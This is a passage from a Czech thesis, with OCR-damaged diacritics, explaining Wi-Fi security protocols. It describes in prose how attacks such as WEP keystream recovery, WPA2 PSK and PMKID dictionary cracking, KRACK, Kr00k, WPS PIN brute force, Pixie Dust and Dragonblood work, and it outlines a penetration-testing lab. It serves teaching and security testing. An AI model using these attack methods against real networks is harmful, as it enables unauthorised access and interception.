AP. Po jeho zadéani dojde k automatizované autentizaci.[16]

PBC

V tomto rezimu uzivatel nové zatizeni ptipoji stisknutim tlacitka (fyzického nebo

virtudlniho) jak na AP, tak na zafizeni, které chce pripojit. Lhita, béhem které je
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pripojeni na AP aktivni, je ¢asové omezend (vétsinou na 120 sekund), a pokud
dojde k tispésnému pripojeni nového zarizeni, je nutno znovu tuto funkci aktivovat
dalsim zmacknutim tlac¢itka [16]. Na vétsiné routert se jednd o fyzické tlacitko, ¢asto

oznacované jako QSS (Quick Security Setup).

1.4.2 OQOut-of-Band rezimy

Tyto dva rezimy nejsou vyzadovany k udéleni licence WPS. Jsou pomérné vzacné a
malo vyuzivané. Jedné se o rezimy NFC a USB.

o NFC - k preneseni dat potiebnych ke konfiguraci se vyuzije NFC (Near-Field

Communication) komunikace. Je tedy nutno priblizit zarizeni co nejblize k AP.

o USB - k preneseni dat je pouzito USB zafizeni

1.5 Zabezpeceni protokolu WPA3

V roce 2018 byl zvefejnén novy standard, ktery definoval novy typ zabezpeceni,
bézné nazyvany WPA3. Tento standard resi mnoho z nedostatkit WPA2 a umoziuje
autentizace, kterda zamezuje nékolika nejc¢astéjsim typtum utoku [17].

Prvnim problémem WPA2, ktery je zde resen, jsou oteviené WiFi sité. Ty jsou
vyuzivany stale vétsimi pocty lidi, ale prinasi naprosto nulovou ochranu dat. Data
jsou v takovychto sitich nesifrovand, a sité jsou tak velmi zranitelné vii¢ci Man-in-the-
Middle utokim. WPA3 toto nepovoluje. I u otevienych siti musi byt data Sifrovana
pomoci protokolu OWE (Opportunistic Wireless Encryption) [18].

Dalsim problémem je neexistence dopredné bezpecnosti u WPA2. Pokud ttoénik
odhali pouzivany kli¢, jednoduse pak dokéaze desifrovat veskerou komunikaci, ktera
tento kli¢ pouziva. A to do té doby, dokud nedojde k jeho zméné, coz muze trvat
velmi dlouhou dobu. U WPAS existuje takzvana doprednd bezpecnost. To znamena,
ze utoénik, ktery odhalil kli¢ dokaze desifrovat pouze komunikaci, kterd jiz probéhla,
novou komunikaci s klicem nedesifruje. To je feSeno tak, ze pri kazdé nové asociaci
mezi klientem a AP jsou vygenerovany nové klice. Pokud tedy tutoc¢nik tyto klice
objevi, dokaze jimi desifrovat komunikaci jen do doby, kdy se klient a AP znovu
asociuji.

Nékteré utoky na sitée WPA2 vyuzivaji toho, ze v tomto standardu neni nutné
zabezpecovat ramce typu Management. To ttoénikiim umoznovalo tyto ramce fal-
sovat a napriklad donutit klienta, aby se odpojil od AP pomoci deautentizac¢nich
ramcu. WPA3 povinné implementuje standard IEEE 802.11w-2019, ktery zajistuje
ochranu nékterych typl rdmci. Management ramce, které jsou vyslany po cétyi-

cestné vyméné, naptiklad tedy deautentizace, jsou zde Sifrovany, takze je jiz nejde
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falsovat. Management ramce, které jsou posilany pred autentizaci, jako napriklad
Probe, zadosti o asociaci a dalsi, chranit nelze.

Jednou z hlavnich slabin WPA2 jsou slabé zvolena hesla. Pokud se jednd o casté
se vyskytujici heslo, lze vyuzit slovnikového ttoku ke zlomeni tohoto hesla. Neni
ani vyzadovana komunikace s AP, ttok lze provést offline. To je obrovsky problém
a WPA3 jej fesi novou autentizaéni metodou SAE (Simultaneous Authentication of
Equals), ktera kompletné nahrazuje autentizaci PSK.

SAE vyuzivd vymény Dragonfly Key Exchange. Jedna se o protokol s nulovou
znalosti vyuzivajici eliptické ktivky, nemélo by tedy byt mozné odposlechem zjistit
jakékoliv informace o pouzivanych klicich. Vyména ma dvé faze — commit a confirm.
V prvni fazi se vytvori urc¢ité hodnoty nebo také ,commit keys“, s tim zZe je zde
vyuzito problému diskrétniho logaritmu. Pomoci téchto hodnot a predem sdileného
hesla je pak v druhé fazi vytvoren Sifrovaci klic. Tento Sifrovaci kli¢ je tedy uni-
katni pro kazdé pripojeni klienta a AP, coz zajistuje doprednou bezpecnost. Jelikoz
jsou vyuzivany unikatni hodnoty, ke kterym se strany dohodnou pfi asociaci, nelze
provadét offline slovnikové utoky [19].

Pro korporatni sité existuje verze WPA3-Enterprise. Autentizace je zde obdobna
802.1x. Sifrovani opét vyuziva CCMP, s podporou delsich kli¢t. Konkrétné u WPA3-
Enterprise je to az 192-bitu.

WPA3 také umoznuje pouziti protokolu DPP (Device Provisioning Protocol),
ktery je obdobou zastaralého a nebezpec¢ného WPS. DPP zjednodusuje ptripojovani
chytrych zarizeni do sité, predevsim pak zarizeni IoT, kde klasické prihlaseni neni
jednoduché.

Finalni sluzbou, kterou WPA3 muze zajistovat, je zpétna kompatibilita s WPA2
v takzvaném WPA3-Transition médu. VSechny AP, které poskytuji pripojeni WPA3,
by mély umoznovat simultanni pripojeni pomoci WPA2 pro klienty, ktefi jesté ne-
maji podporu WPA3.

Celkove se tak zda, ze WPA3 Tesi naprostou vétsinu slabin predchozich protokoli,
a do budoucna tak nabizi silné zabezpecené WiFi sité. Momentalné je dostupnost a
rozsirenost protokolu velmi mald ale da se predpokladat, ze se s casem WPA3 stane

dominantnim bezpec¢nostnim protokolem WiFi siti.
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2 Zranitelnosti Wi-Fi

Jak jiz bylo naznaceno v minulé kapitole, protokoly rodiny 802.11 maji fadu pro-

blémt a zranitelnosti. V této kapitole budou tyto zranitelnosti popsany.

2.1 Zranitelnosti protokolu WEP

2.1.1 Zranitelnost autentizace Shared Key

Problémem Shared Key autentizace je, ze nahodné vygenerované ¢islo je posilano v
podobé cleartextu — neni zasifrované a lze jej tedy bez problému precist. Kdyz pak
utocénik zachyti uzivatelovu odpovéd, ktera obsahuje zasifrované ¢islo, ziska tim par
c¢itelného a zasifrovaného textu. Zjisti taky pouzity IV, ktery je posilan zaroven se
zasifrovanou zpravou.

WEP pouziva proudovou sifru RC4, ktera funguje jednoduchym zptsobem —
vezme proud bitu (angl. keystream) vygenerovany sifrou RC4 za pouziti sdileného
klice, a provede operaci XOR se vstupnim datovym tokem. Vysledkem této ope-
race je zaSifrovany text. Utoénik tedy mize znovu provést XOR mezi Gitelnym a
zasifrovanym textem, a tim dostane pouzity keystream. [§]

Ted uz utocnikovi stac¢i jenom zazadat o autentizaci u AP a pak pomoci zjis-
téného keystreamu zasifrovat prijaté ndhodné ¢islo, které pak spolu se diive zachy-
cenym IV posle zpét. Z pohledu AP pak ttoc¢nik zna sdileny kli¢ a autentizuje ho.
Tento utok je graficky znazornén na obrazku 2.1.

Pokud AP nepouziva sifrovani WEP k naslednému prenosu dat, je utok hotov a
utoénik mize normalné komunikovat uvniti sité. Pokud ovsem Sifrovani je pouzito,
utoc¢nik se sice autentizuje, ale komunikovat dal nemuze, jelikoz neznéd pouzivany

klfé. [9]

2.1.2 Slabiny sifrovani WEP

I samotné Sifrovani protokolu WEP neni povazovano za bezpecné. Prvnim problé-
mem je pouzitd hashovaci funkce CRC-32. CRC totiz primarné slouzi k zjistovani
chyb vzniklych v disledku selhani techniky, a ne jako funkce zajistujici datovou in-
tegritu. Data zde nejsou nijak chranéna proti umélé modifikaci, tedy situaci, kdy

uto¢nik modifikuje data a pak prepocita CRC. [§]
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Obr. 2.1: Utok na Shared Key autentizaci

Pouvzita sifra RC4 prestava byt bezpecnou, pokud je jeden keystream pouzit vi-
cekrat. Z tohoto divodu WEP vyuziva 24-bitovy IV. Toto je ovSem nedostatecna
délka, protoze po prenosu priblizné 5000 zprav je, v dusledku Narozeninového pa-
radoxu, dosazeno 50% sance ze dojde k opakovani az 4 IV [20]. Tim padem se tedy
vyuziva stejny keystream. Utoénik tak naslouchdnim komunikace dokdze ziskat dva
sifrované texty, které byly zasifrovany stejnym klicem a IV. Naslednou kryptoana-
lyzou pak lze zpravy desifrovat a odvodit vyuzity keystream. [21]

Dalsim problémem je také nedostatecna délka klice — v zakladni verzi 40 biti.

Tak kratké klice jde prolomit pomérné rychle i pomoci titoku hrubou silou, popiipadé
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vyuzitim slovnikového ttoku. [6]
Dost mozna nejvétsim problémem celého WEP je ale fakt, ze v celém protokolu
neexistuje jakdkoliv vimeéna nebo sprava klica. [21] Klice jsou statické a nedostateéné

velikosti.

2.1.3 Utok Caffe Latte

Néazev tohoto titoku odkazuje na to, ze itoc¢nik dokéaze zjistit pouzivané heslo béhem
casu, béhem néhoz je mozné vypit jedno latte. Tento utok je specificky tim, Ze se
jedna o utok na klienta. Neni tedy vibec potieba nachazet se v blizkosti AP, ke
které chce tutocnik zjistit pouzivany klic. Tento tutok zneuziva skutec¢nosti, ze klient
se nékdy prihlasil k siti pouzivajici WEP a pomoci ARP paketti z néj lze dostat
pouzity WEP kli¢, i kdyz uz se nachazi mimo tuto sit. Toto je mozné, protoze kazdé
uzivatelské zarizeni, které zrovna neni pripojeno k zadné siti, vysila sondovaci pakety
jiz zndmych siti.

Tyto pakety jsou typu ARP a jsou Sifrované drive pouzivanym WEP kli¢em.
Jelikoz WEP nedokaze klientim zajistit, Ze se opravdu prihlasuji k zamyslenému
AP, a ne k falesné verzi, lze takového klienta prinutit, aby se pripojil k falesnému
AP, kterou vlastni uto¢nik.

V normaélni situaci klient po asociaci s falesnou AP vysle nékolik zasifrovanych
ARP pakettl, coz neni dost k zjisténi klice. Caffe Latte funguje tak, ze vezme tyto
ARP pakety a prohazovanim bit je premeéni na pakety ARP Request. Na ty kli-
ent automaticky odpovi ARP Reply. Utoénik tak dokdze nasimulovat provoz tisict

pakettl, coz uz staci k zjisténi hesla. [22]

2.2 Zranitelnosti protokold WPA a WPA2

2.2.1 Zranitelnost autentizace PSK

Nejveétsi zranitelnosti autentizace PSK jsou Spatné volena hesla. Bohuzel se stéle
ukazuje, ze mnozstvi Wi-Fi pripojeni pouziva jednoduse uhodnutelna hesla. Je tedy
doporucovano pouzivat silna hesla dostatecné délky, aby nemohlo dojit ke slovniko-
vym utoktm a k itoktim hrubou silou.

Takovy utok vétsinou probiha nésledujicim zptisobem. Nejdiive ttocénik zachyti
Ctyfcestnou vymeénu mezi klientem a AP. Tim padem zjisti kontrolni zpravy MIC
k jednotlivym Sifrovanym zpravam. Déle si zapamatuje MAC adresy obou stran a
¢isla ANonce a SNonce, coz jsou vSe oteviené posilané informace. V tomto momenté
schézi pouze zjistit pouzity kli¢ PMK. Ten se derivuje z pouzitého hesla. Utoénik

nasledné hrubou silou vypocitava PMK k heslim ve slovniku. Poté jsou jednotlivé
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PMK, spolu se zachycenymi tidaji, dosazeny do hashovaci funkce pro vypocet klice
PTK. Tento Kkli¢ je dale pouzit k vypoctu MIC zprav. Pokud souhlasi se zachycenymi
MIC zpravami, byl pouzity PMK spravny, a tim padem je heslo uhddnuto. Ptiblizné
schéma ttoku je na obrazku 2.2.
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Obr. 2.2: Utok hrubou silou na WPA (PSK)

Nevyhodou PSK siti je také, ze pokud se ttocnik dokaze dostat do sité, je pro néj
trivialni desifrovat provoz v ramci této sité, protoze je pouzivan stejny klic. Proto
se doporucuje nad protokolem WEP jesté pouzivat dalsi bezpecnostni protokol jako

napt. TLS (Transport Layer Security).

2.2.2 KRACK

Prvni vétsi zranitelnosti protokolu WPA2, kterd ma velké riziko poruseni bezpec-
nosti, je itok KRACK (Key Resinstallation Attack). Tento ttok byl objeven v roce
2016 a jeho existence byla zvefejnéna v roce 2017. Utok zneuZiva zranitelnosti v
samotném protokolu, konkrétné v navrhu étyrcestné vymény. Problémem je, ze 1ze
nékteré implementace tohoto protokolu donutit, aby pouzivaly béhem této vymény

nékolikrat za sebou kli¢ se stejnym IV, coz umoznuje kryptoanalyzu.
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Konkrétnéji se jedna o Man-in-the-Middle utok, ve kterém ttoc¢nik zastavi ¢tvr-
tou zpravu vymeény, coz donuti AP vyslat znovu treti zpravu, coz u klienta zpuisobi
resetovani PTK a znovu pouziti stejného ¢isla ,,nonce. Tohoto pak jde zneuzit k pre-
hravani, desifrovani ¢i padélani paketi. V nékterych implementacich (Android 6.0)
této vymény dokonce dojde k resetovani pouzitého klice na samé nuly. Problém byl,
ze zadny standard nespecifikoval, jakym zptisobem reagovat na situaci, kdy jedna
ze zprav ve vymeéne dorazi vicekrat.

Vici utoku KRACK jsou zranitelna predevsim klientska zarizeni a AP podpo-
rujici protokol 802.11r. Tento protokol, také oznacovany jako ,fast BSS transition®
(FT) nebo pouze ,fast roaming®, umoznuje rychlé prechody mezi jednotlivymi AP
v ramci jedné WiFi sité. Tato funkce se hodi pfi rychlém fyzickém pohybu klienta
v ramci sité, kde je nezadouci, aby se klientovo zafizeni konstantné autentizovalo u
novych AP.

Nastésti jde tato zranitelnost resit softwarovymi updaty a momentalné uz vétsina

zafizeni neni vici tomuto ttoku zranitelna. [23]

2.2.3 Utok pomoci PMKID

V roce 2018 byl objeven novy zptsob ziskani zahashovaného klice PMK pouzivaného
v dané WiFi siti [24]. Na zakladé toho pak lze hrubou silou zjistit pouzivany kli¢
PMK, a tim padem i tedy pouzivané heslo. Rozdil oproti prechozim ttokim hrubou
silou je, ze jiz neni vyzadovano zachyceni Ctyfcestné vymeény mezi AP a néjakym
klientem.

Je zde zneuzivano toho, ze nékteré EAPOL ramce typu Management, jako na-
priklad Beacon frame, Probe response nebo zadosti a odpovédi o asociaci, obsahuji
dobrovolné pole RSN-IE (Robust Security Network Information Element). Toto pole,
které ma maximalni délku 255 bytti, obsahuje informace tykajici se zabezpeceni sité,
jako napriklad podporované autentizacni metody nebo pouzivané Sifrovani. Jednou
z informaci je pak také tzv. PMKID. PMKID (Pairwise Master Key Identifier) slouzi
k rychlejsi autentizaci u siti podporujicich roaming, jako je naptiklad jiz zminovany
protokol 802.11r.

Zranitelnost pak spoc¢iva v tom, jakym zptisobem je PMKID vypocitavan. Jedna
se o hash tvoreny z pouzivaného klice PMK, hodnoty ,PMK Name“, MAC adresy

AP a klienta. Konkrétné Ize hash popsat rovnici:

PMKID = HMAC-SHA-128(PMK, "PMK Name" | MAC AP | MAC
klienta)

PMK zde slouzi jako kli¢ k hashovani, zbytek hodnot tvori hashovana data. Po-
kud je tedy PMKID zachyceno, 1ze hrubou silou odvodit i pouzivané PMK, protoze

ostatni idaje jsou znamé. Realisticky je opét spise nutno vyuzit slovnikového ttoku
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a zranitelnd jsou pouze Spatné zvolend hesla. Vyhodou tohoto titoku je, Ze neni nutno
zachytavat autentizaci klienta a AP, nevyhodou pak je fakt, Ze zranitelna jsou pouze
AP vyuzivajici néjakou roamingovou sluzbu.

Samotny dtok je pak proveden pomérné jednoduse. Utoénik AP vysle zddost
o asociaci a AP odpovi rdmcem obsahujicim PMKID. PMKID je pak prolomen
utilitou se zvolenym slovnikem. Utilita vytvori pro hesla ve slovniku hashe, a pokud

se shoduji se zachycenym PMKID; je heslo nalezeno. [25]

2.2.4 Kr00k

Zatim nejnovéjsi objevenou zranitelnosti je itok nazvany Kr0Ok. Byl objeven ty-
mem zkoumajicim bezpecnost nového protokolu WPA3 v roce 2019 a zvefejnén v
unoru 2020. Zranitelnost zde spociva v navrhu nékterych WiFi ¢ipi, konkrétnéji ve
zpusobu, jakym se vyporadavaji s sifrovanim paketi. Zjednodusené cipy obsahuji
buffery, do kterych si uklddaji ptijaté nebo odesilané pakety predtim, nez dojde k
jejich zagifrovani ¢i desifrovani. Casto se stavd, Ze se v takovém bufferu ocitne nékolik
pakett, které pak cekaji na to, az dojde k zasifrovani pakett pred nimi.

Cip dale obsahuje pamét, do které je ulozeny Sifrovaci kli¢, konkrétné se jedna
o dohodnuty TK. V momenté, kdy zafizeni dostane zadost o ukonceni pripojeni,
je tento Sifrovaci kli¢ pfepsan na samé nuly. Problémem vsak je, ze mezitim se
stale miize v bufferu zarizeni nachazet nékolik paketti, které c¢ekaji na zasifrovani
a odeslani. Pti Spatném zachazeni dojde k tomu, Ze jsou tyto pakety zasifrovany
prepsanym klicem a poslany dal. Toto je samoziejmé obrovsky problém, protoze je
trividlni tyto pakety desifrovat. Velmi zjednodusené schéma této situace lze vidét na
obrazku 2.3. Prvni schéma ukazuje normalni situaci, druhé situaci po ukonceném
pripojeni.

Utok pak probihd jednoduchym zpisobem. Utoénik posle zaf{zen{ falesnou 74-
dost o deautentizaci, coz zarizeni udéla a vysle spatné zasifrované pakety, které se
nachédzely v bufferu. Utocnik je zachyti a desifruje, ¢fm? se dostane k pfendSenym
dattim. Toto lze provadét opakované, a tim padem lze ziskat pomérné velké mnozstvi
paketl. Schéma tutoku lze vidét na obrazku 2.4.

Tento ttok m4 nastésti nékolik nevyhod. Utoénik nikdy nemtize védét, jaky typ a
kolik paketi se v bufferu nachéazi. I kdyz se tedy ttok povede, pravdépodobnost, ze se
dostane k citlivym datim neni velka. Buffery také maji omezenou velikost (vétsinou
32 kb), coz také muze omezit rozsah skod. Pokud vsSak tto¢nik ma stésti, mize se
mu podarit ziskat velmi citliva data, jako prihlasovaci idaje, osobni idaje atd. Vse
za predpokladu, ze neni pouzivano zadné dalsi Sifrovani (napt. TLS). Ukazuje se
tedy, jak dilezité je nespoléhat pouze na jednu vrstvu zabezpeceni, ale chranit data
dukladnéji.
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Obr. 2.3: Zjednodusené schéma zranitelnosti KrO0k uvniti WiFi ¢ipu

Zranitelnost KrOOk byla nalezena v celé fadé smartphont, nékterych routert ale

napiiklad i u chytrych reproduktori Amazon Echo. [26]
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Obr. 2.4: Zjednodusené schéma utoku Kr00k

2.3 Zranitelnosti WPS

WPS je v dnesni dobé povazovano za nebezpecny protokol. Presto je u vétsiny
routertt v zakladu zapnut. Problémy spocivaji jak v navrhu protokolu samotném,

tak v implementaci nékterych vyrobcii.

2.3.1 Utok na PIN

Hlavni problém protokolu je v PIN kédu, ktery je Spatné navrzen.

PIN je slozen z 8 ¢islic, coz by teoreticky davalo 100 000 000 moznosti. Osma
¢islice je ovsem pouze kontrolni soucet, coz okamzité redukuje pocet moznosti na 10
000 000. Problémem je, ze WPS zpracovava poslany PIN velmi specifickym zptiso-
bem. Kdyz se uzivatel zkusi prihlasit néjakym PIN kdédem, AP tento PIN rozdéli na
dvé ¢asti o 4 ¢islicich. Nejdiive zkusi, zda prvni ¢étyti ¢islice odpovidaji spravnému
PIN kédu. Pokud jsou spravné, prejde na druhou ¢tverici ¢islic.

V situaci, kdy prvni ¢tyri cislice odpovidaji a druhé ¢tyti neodpovidaji, posle
AP Kklientovi zpravu o této situaci. To vyrazné zmensuje pocet kombinaci, které
je potteba vyzkouset, na 11 000 (10 000 z prvnich ¢étyt ¢islic a 1 000 z dalsich t¥1,
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protoze finalni je jenom kontrolni soucet). To je naprosto nedostatecny pocet a WPS
se tak stava nebezpecné zranitelné vici itokim hrubou silou [16].

Mitigaci této zranitelnosti je naptiklad omezeni uzivatele jen na urcity pocet
pokust zadani PIN kédu a nasledného zamitnuti dalsich pokust. Ne kazdy router
vsak takovouto funkci ma.

2.3.2 Pixie Dust

V roce 2014 byla nalezena dalsi zranitelnost WPS protokolu, spoc¢ivajici ve Spatné
implementaci PIN kédu [27].

Béhem autentizace pomoci WPS dochazi k relativné dlouhé vymeéné, zranitelnost
se tyka prvnich 3 zprav. V prvni zpravé posle AP otevieny klic PKE (Public Key
Enrollee) a ndhodné ¢islo N1. Klient odpovi svym otevienym klicem PKR, (Public
Key Registrar) a nahodnym ¢islem N2. V tento moment si AP vypocéita hashe E-
Hashl a E-Hash2 popsané jako:

E-Hashl = HMAC(AuthKey)(E-Sl, PSK1, PKE, PKR)
E-Hash2 = HMAC (AuthKey) (E-S2, PSK2, PKE, PKR)
kde

o HMAC — hashovaci funkce

o AuthKey — kli¢ vytvoreny pomoci ¢isel N1 a N2

e E-S1 — ndhodné vygenerované ¢islo nonce

o E-S2 — ndhodné vygenerované ¢islo nonce

o PSKI1 — prvni ¢tyti ¢islice PIN kédu

o PSK2 — druhé ¢tyti cislice PIN kédu

o PKE - kli¢c PKE

« PKR - kli¢ PKR

Tyto hashe slouzi k tomu, aby si klient mohl ovérit, ze se pripojuje k AP, které
zna PIN. Cisla E-S1 a E-S2 jsou posldna pozdéji ve vyméné.

Do této faze se lze dostat bez znalosti PIN kédu (viz obrazek 2.5). V tento
moment tedy klient (dtoc¢nik) zné klice PKE, PKR a AuthKey a dale hodnotu obou
hashii. Pokud by soucasti hashe nebyly E-S1 a E-S2, bylo by trividlni vypocitat
hodnoty PSK1 a PSK2 vzhledem k malému poc¢tu moznosti. Bezpecnost vymény
tedy zavisi na dobre vytvorenych a nepredvidatelnych cislech E-S1 a E-S2. Jak se
ovsem v roce 2014 ukézalo, spousta vyrobct routerti tento krok velmi zanedbava.

Bylo zjisténo, ze nékteri vyrobci tato ,nahodnd“ ¢isla generuji spolu s cislem
N1, které vsak posila klientovi. Pokud je znam postup, kterym AP ndhodna disla
generuje, je mozné si je, na zakladé hodnoty N1, vypocitat. Jesté horsi jsou pripady,

kdy E-S1 a E-S2 vibec generovany nejsou, a jejich hodnota je tak 0 [27].
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Obr. 2.5: Prvni faze Gtoku Pixie Dust

Ze znalosti téchto cisel uz pak lze vypocitat hodnoty PSK1 a PSK2, a tim pa-
dem ziskat PIN kéd. Utok, ktery toto realizuje, se vétsinou nazyva Pixie Dust. Tato
slabina kompletné anuluje veskerou bezpecnost, kterou maji protokoly 802.11 zajis-
tovat, a je proto doporucovano funkci WPS (nebo minimalné pouzivani PIN kédi)

vypnout [27].

2.4 Zranitelnosti WPA3

I presto, ze WPAZ3 je stale novinkou v oblasti bezpecnostnich protokolu 802.11, byly

u néj velmi brzo objeveny zranitelnosti.

2.4.1 Dragonblood

Jiz v dubnu 2019, tedy ani ne rok po zavedeni WPA3, byla zverejnéna vyzkumna
prace, za kterou stoji stejny tym jako za objevenim KRACKu, ktera poukéazala hned
na nékolik zranitelnosti v protokolu WPA3, dohromady nazyvanych Dragonblood
[28]. Daji se rozdélit do dvou kategorii: itoky, které donuti zarizeni downgrade na
WPA2, i kdyz dokazou pouzivat WPA3, a ttoky zneuzivajici slabiny protokolu Dra-
gonfly.

V prvnim pifpadé se zneuziva médu WPA3-Transition. Uto¢nik zde vytvoii fa-
lesnou AP pouzivajici WPA2, kterd imituje AP pouzivajici WPA3. Klient se pak

omylem pripoji k falesné AP, a itocnik tak zachyti ¢ast vymény, kterd pak umozni
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slovnikovy tutok. Tento utok Ize provést i v pripadech, kdy se klient ptivodné pripo-
juje k AP, ktera pouziva pouze WPA3 a nemd zapnuty Transition mod.

Dalsi downgrade ttok pak zneuziva slabiny ve vymeéné Dragonfly. Ve fazi ,,com-
mit“ se obé strany dohodnou na tom, jaké typy grup béhem vymény pouzivat.
Uto¢nik pomoci falesné AP dokéze donutit klienta, aby pouzival méné bezpetné
grupy.

Dale byly objeveny dva ttoky postrannimi kanaly.

Prvni z nich je zalozen na c¢asu, ktery AP trva k odpovédi na ramce béhem
fazi ,,commit®. Zalezi zde na tom, jaké grupy jsou pouzivany. Pokud je vyuzivano
eliptickych kiivek doporucenych institutem NIST, je tento ttok nemozny. Pokud
jsou vsak vyuzivany kiivky typu Brainpool nebo MOPD (Modulo a Prime), da se
na zakladé ¢asové odezvy odvodit samotné heslo. Respektive se da provést slovnikovy
utok, kde je odezva porovnana s odezvami hesel ve slovniku.

Druhy z nich vyuziva znalosti pristupu do paméti zarizeni béhem vytvareni
ramcu ve fazi ,commit“. Na zakladé zpusobu, kterym je k datim v paméti pri-
stupovano, lze poté slovnikovym ttokem odvodit, heslo pouzivané béhem vymeény.
Toto je mozné v momentech, kdy ito¢nik ovlada néjakou aplikaci na zarizeni obéti.
Teoreticky to muze byt i JavaScript bézici v prohlizeci obéti.

Posledni ttok je typu Denial-of-Service. Zpracovani ramcu ve fazi ,commit® je
pomérné narocné na vykon, a to pfedevsim v situacich, kdy jsou vyuzivany obrany
proti utoktim postranniho kanalu spotieby. V takovém pripadé staci utoc¢nikovi, aby
napadanému AP poslal nékolik ,commit* rdmctu (béhem vyzkumu stacilo jenom 16
takovych ramct), a tim dokéze pretizit CPU zatizeni. To zpusobi zpomaleni, vybiti
a naruseni provozu AP.

Po vydani téchto zranitelnosti byla vydana doporuceni, jak se jim vyhnout, fak-
tem vsak je, ze WPA3 rozhodné neni kompletné bezpeénym protokolem. Je zde
nutno podotknout, ze vyzkumnici, ktefi Dragonblood objevili, poukazuji, na to, ze
nékteré z problému byly znamy jesté pred vydanim protokolu. Na Wi-Fi Alliance
se také snesla kritika kvili uzavienému vyvoji protokolu a neumoznéni externim

vyzkumnikim podrobit WPA3 testtum pred jeho vydani. [29]
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3 Nastroje pro ovérovani bezpecnosti Wi-Fi

K testovani bezpecnosti standardt 802.11 existuje velké mnozstvi softwarovych a
hardwarovych nastroji. V rdmci prace byl proveden navrh laboratorniho prostiedi

a vybrany vhodné softwarové a hardwarové prvky.

3.1 Hardware

Pro realizaci testovani je zapotiebi testovaci pocitac. Ten musi mit moznost zachy-
tavat bezdratovy provoz k ¢emuz slouzi Wi-Fi adaptéry (¢i Wi-Fi karty) [20]. Zde je
potfeba velké opatrnosti, protoze ne kazdy adaptér se hodi k testovani. Musi totiz
podporovat tzv. monitorovaci rezim, ktery umoznuje odposlouchavani komunikace
[12]. Zda adaptér tento rezim nativné podporuje, zavisi na chipsetu, ktery pouziva.
Vétsina komercné prodavanych, béznych Wi-Fi adaptéra tento rezim nepodporuje
[30].

Adaptéry vétsinou podporuji nékteré z téchto 3 rezimu:

e normalni rezim — v tomto rezimu karta zachytava pouze ramce urcené primo

ji na zakladé MAC adresy. Tento rezim podporuji vsechny Wi-Fi karty.

e promiskuitni rezim — v tomto rezimu karta dokaze zachytit vsechen provoz

v ramci jedné sité, ke které se vsak musi nejdrive prihlasit. Pro tcely testovani
tedy neni prilis uzitecna. Vétsina karet tento rezim podporuje.

e monitorovaci rezim — v tomto rezimu karta dokaze zachytit veskeré ramce

bez ohledu na jejich cil a bez ohledu na to ve které siti se karta nachazi. Toto
je velmi uzitecné pro testovani, jelikoz je mozné odposlouchavat komunikaci v
ramci sité, ke které chceme ziskat pristup. Vétsina karet tento rezim nepod-
poruje.

Daéle je potieba jako soucéast testovaciho prostredi pristupovy bod a zarizeni
simulujici klienta. Jako pristupovy bod nejlépe slouzi router, v ramci testovani bez-
pecnosti by mél podporovat co nejvice bezpecnostnich protokoli a funkci (WEP,
WPA, WPA2, WPS, WPA3). Klientem muze byt dalsi poc¢ita¢ nebo i mobilni tele-

fon. Kritériem je opét podpora bezpecnostnich protokoli.

3.1.1 Softwarové definované radio

V ramci prace bude také prozkouméana moznost vyuziti Softwarové definovaného
radia (SDR) k testovani bezpecnosti protokoli 802.11. Softwarové definovand radia
jsou radiové systémy, jejichz komponenty jsou implementovany predevsim softwa-
rové. Tradi¢ni radia resi tyto komponenty hardwarové, jedna se napiiklad o sméso-

vace, filtry, zesilovace, modulatory a dalsi. Vyhodou tohoto pristupu je, Ze zménu
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parametri téchto komponent lze provést softwarovymi zménami, coz umoznuje velmi
flexibilni pouzivani radia.

SDR jsou také velmi modularni a pouhou zménou softwaru lze dosahnout si-
roké skaly novych funkci, pficemz neni nutno ménit ¢i upravovat hardware. I SDR
vsak maji urcité hardwarové omezeni, napiiklad v podobé kmitoctovych rozsahu.
Teoreticky by pak mélo pomoci softwaru dosdhnout zachytu a zpracovani WiFi sig-
nalu. Mohlo by tak i potencidlné dojit k nahrazeni WiFi adaptéru. Vyhodou tohoto
pristupu pak mutze byt i moznost zkoumani fyzické vrstvy bezdratové komunikace.

Vybér pro testovani WiFi by pak meél smétrovat k podporovanému rozsahu kmi-
to¢tl. Ne vSsechny modely podporuji kmitocty kolem 5 GHz, coz pak muze byt pro-
blematické u siti, které tyto kmitocty vyuzivaji. Dale je tfeba dbat na softwarovou
podporu daného SDR. Ta se u ruznych modeli muze lisit.

Posledni vétsi prekazkou miize byt pomérné vysoka naroc¢nost na PC hardware,

kterou néktery software prinasi.

3.1.2 Zvoleny hardware

V ramci této prace byl jako testovaci pocita¢ zvolen stolni pocitac¢ s opera¢nim
systémem Windows 10 Professional. Jako Wi-Fi adaptér byla zvolena karta TP-
Link TL-WNT722N v2. Jako ptistupovy bod byl pouzit TP-Link TL-WR741ND a
jako klient byl pouzit mobilni telefon Xiaomi s opera¢nim systémem Android 9.0.
Jelikoz dostupnost zarizeni podporujicich WPA3 je stale pomérné maléd a podporuje
jej pouze mobini telefon, nebudou se na tento protokol experimenty zameérovat.

Zvolena karta TP-Link TL-WN722N v2 nativné nepodporuje monitorovaci rezim
kvuli Spatnému chipsetu [30]. Nastésti se tento problém podarilo vyfesit nainstalo-
vanim drivera do vybraného softwarového prostiedi Kali Linux (viz kapitola 3.2.2
Zvoleny operac¢ni systém).

Jako SDR bylo zvoleno LimeSDR USB, konkrétnéji se jedné o upravenou verzi
od spolecnosti Antratek s hlinikovym pouzdrem a anténami. LimeSDR je jedno z
vice uzivateslky privétivéjsich SDR, na druhou stranu ma omezeny rozsah kmitocti
mezi 100 kHz a 3,8 GHz. To znemoznuje moznost testovani WiFi siti vyuzivajicich

pasma 5 GHz.

3.2 Software

Software, vyuzivany pfi testovani bezpecnosti bezdratovych siti, je velice rozmanity

od operacnich systému po malé utility.
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3.2.1 Operacni systémy

Bezdratové sité lze testovat za pouziti témér vsech operacnich systémii véetné Win-
dows, ovsem nejidealnéjsim resenim jsou Linuxové distribuce specializované na pe-
netracni testovani. Mezi nejpopularnéjsi patii Kali Linux, BackBox, Parrot Security
OS, Black Arch a dalsi [31]. Jejich vyhodou je specializace a také to, ze se jednd o
volné dostupné systémy.

Kali Linux je pravdépodobné nejpopularnéjsich z téchto specializovanych dis-
tribuci. V zakladu obsahuje obrovskou skalu utilit potfebnych k penetracnimu tes-
tovani. Je také nejvice propracovany a ma velkou a aktivni komunitu [31].

BackBox je dalsi distribuce specializovana na penetracni testovani. Jedna se o
vice minimalistickou distribuci zamérenou na efektivitu a rychlost [32].

Parrot Security OS je zaméfen na penetracni testovani a zaroven dobrou pod-
poru pro cloudové sluzby. Je to relativné nova distribuce v této oblasti [31].

